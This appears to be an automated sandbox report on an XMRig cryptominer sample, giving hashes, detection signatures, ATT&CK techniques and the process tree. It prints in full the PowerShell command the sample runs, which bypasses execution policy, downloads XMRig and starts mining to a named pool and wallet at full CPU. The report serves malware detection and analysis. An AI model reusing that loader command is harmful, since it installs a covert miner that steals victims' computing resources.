xmrig | 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5

Analysis

max time kernel
899s
max time network
899s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
02/05/2026, 04:25

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General

Target
wtf - Copy (10).exe
Size 235KB
Sample260502-e133hacz4p
SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
MD5 1e15ea75a1f635a6aca9d987764a13e9
SHA1 c1ff6fbc8106bdc9714a7ec5ce85a422a369ca29
SHA512 b2a798a8d68e8096a61f73bc04e95a4b6e42e9e4a5153d16feaefd726558caa98749c52d76146e261cbf01d4cc1e9e70c020f7bc9ad20943c29cb9b5983c6d1a
SSDEEP 3072:DbeVX+RLL4ypDYsPGLwLvVWRMiW95BQ2Of5QUNtWhoev:eQRLLbpYS95BQ2QQUNtWPv
TLSH
T16034F83BA7635CBCC29781B5A686CBF1B832FC150320BD5F0695C7327E6AC544F99898
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x0007000000028580-41.dat	family_xmrig
behavioral2/files/0x0007000000028580-41.dat	xmrig

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4956	powershell.exe
8	4956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4956	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2605425648-1229640847-2920638550-1000\Control Panel\International\Geo\Nation	wtf - Copy (10).exe

Executes dropped EXE 1 IoCs

pid	Process
552	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4956	powershell.exe
4956	powershell.exe
4956	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeLockMemoryPrivilege	552	xmrig.exe
Token: SeLockMemoryPrivilege	552	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
552	xmrig.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 4956	4784	wtf - Copy (10).exe	84
PID 4956 wrote to memory of 552	4956	powershell.exe	86

C:\Users\Admin\AppData\Local\Temp\wtf - Copy (10).exe
"C:\Users\Admin\AppData\Local\Temp\wtf - Copy (10).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe
    "C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe" -o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_xhbpe4bd.nu1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhbpe4bd.nu1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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xmrig.exe

Path C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe
Size 5.2MB
SHA256 f07c7223fdb691acbf0ebc7d9cc2ae614c0cf705920420c0130248a0c0e861d4
MD5 118c2d536d52dd30116baaf06dfe5e63
SHA1 fe510bca4c36cf0791132d15c58c33dee7bf0bc8
SHA512 431b4fdbd8268f8b5ef6357bafbf3dc261ec7a3662de7722a5fc2cdb2087db64a75aa356f2b9a023b2c8a96d422d651e3a3bfb2e324370287671bf9291dec8cf
SSDEEP 98304:ZHjJcetx2WKUcuIBjyHS7M4NrZdQ/UxBq0L56CVtM3g1fiZYi6BFAD04FyTR:wetx2Td0KBq09jXLfri6v52yTR
TLSH
T116469D56B2A500E4C8BBC07C864B9917F7B2B81543B0ABEF17B052690F27BD55E3EB11
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/552-53-0x0000018FC6400000-0x0000018FC6420000-memory.dmp

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memory/4784-0-0x00007FF732310000-0x00007FF732352000-memory.dmp

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memory/4956-17-0x0000022F69D60000-0x0000022F69D6A000-memory.dmp

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memory/4956-13-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-14-0x0000022F69DA0000-0x0000022F69DE4000-memory.dmp

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memory/4956-16-0x0000022F69D70000-0x0000022F69D82000-memory.dmp

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memory/4956-12-0x0000022F697F0000-0x0000022F69812000-memory.dmp

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memory/4956-4-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-51-0x0000022F69F90000-0x0000022F6A006000-memory.dmp

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memory/4956-3-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-55-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-54-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-57-0x0000022F69520000-0x0000022F69528000-memory.dmp

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memory/4956-58-0x0000022F69830000-0x0000022F69840000-memory.dmp

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memory/4956-56-0x0000022F694F0000-0x0000022F694FC000-memory.dmp

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